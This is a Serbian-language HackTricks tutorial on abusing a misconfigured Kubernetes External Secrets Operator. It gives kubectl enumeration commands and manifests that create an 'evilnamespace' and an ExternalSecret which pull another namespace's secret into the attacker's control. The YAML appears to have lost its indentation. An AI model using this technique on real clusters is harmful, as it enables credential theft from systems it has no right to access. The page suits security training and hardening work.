External Secret Operator

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Originalni autor ove stranice je Fares

Ova stranica daje nekoliko saveta o tome kako možete ukrasti tajne iz pogrešno konfigurisanog ESO-a ili aplikacije koja koristi ESO za sinhronizaciju svojih tajni.

Odricanje od odgovornosti

Tehnika prikazana u nastavku može raditi samo kada su ispunjeni određeni uslovi. Na primer, zavisi od zahteva potrebnih da se dozvoli sinhronizacija tajne u prostoru imena koji posedujete / kompromitujete. Morate to sami da otkrijete.

Preduslovi

  1. Pristup u kubernetes / openshift klasteru sa administratorskim privilegijama na prostoru imena
  2. Pristup za čitanje na najmanje ExternalSecret na nivou klastera
  3. Utvrdite da li su potrebne oznake / anotacije ili članstvo u grupi koje omogućavaju ESO-u da sinhronizuje vašu tajnu. Ako imate sreće, možete slobodno ukrasti bilo koju definisanu tajnu.

Prikupljanje informacija o postojećem ClusterSecretStore-u

Pretpostavljajući da imate korisnika koji ima dovoljno prava da pročita ovaj resurs; počnite tako što ćete prvo nabrojati postojeće ClusterSecretStores.

kubectl get ClusterSecretStore

ExternalSecret enumeracija

Pretpostavimo da ste pronašli ClusterSecretStore nazvan mystore. Nastavite sa enumeracijom njegovog povezanog externalsecret.

kubectl get externalsecret -A | grep mystore

Ovaj resurs je ograničen na namespace, tako da, osim ako već ne znate koji namespace da tražite, dodajte opciju -A da biste pretražili sve namespace-ove.

Trebalo bi da dobijete listu definisanih externalsecret. Pretpostavimo da ste pronašli externalsecret objekat pod nazivom mysecret definisan i korišćen u namespace-u mynamespace. Sakupite još informacija o tome kakvu vrstu tajne sadrži.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Sastavljanje delova

Odavde možete dobiti ime jednog ili više imena tajni (kao što je definisano u resursu Secret). Dobićete izlaz sličan:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Do sada smo dobili:

  • Ime ClusterSecretStore
  • Ime ExternalSecret
  • Ime tajne

Sada kada imamo sve što nam je potrebno, možete kreirati ExternalSecret (i eventualno zakrpititi/kreirati novi Namespace kako biste ispunili preduslove potrebne za sinhronizaciju vaše nove tajne):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Nakon nekoliko minuta, ako su ispunjeni uslovi za sinhronizaciju, trebali biste moći da vidite procurenu tajnu unutar vašeg imenskog prostora.

kubectl get secret leaked_secret -o yaml

Reference

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks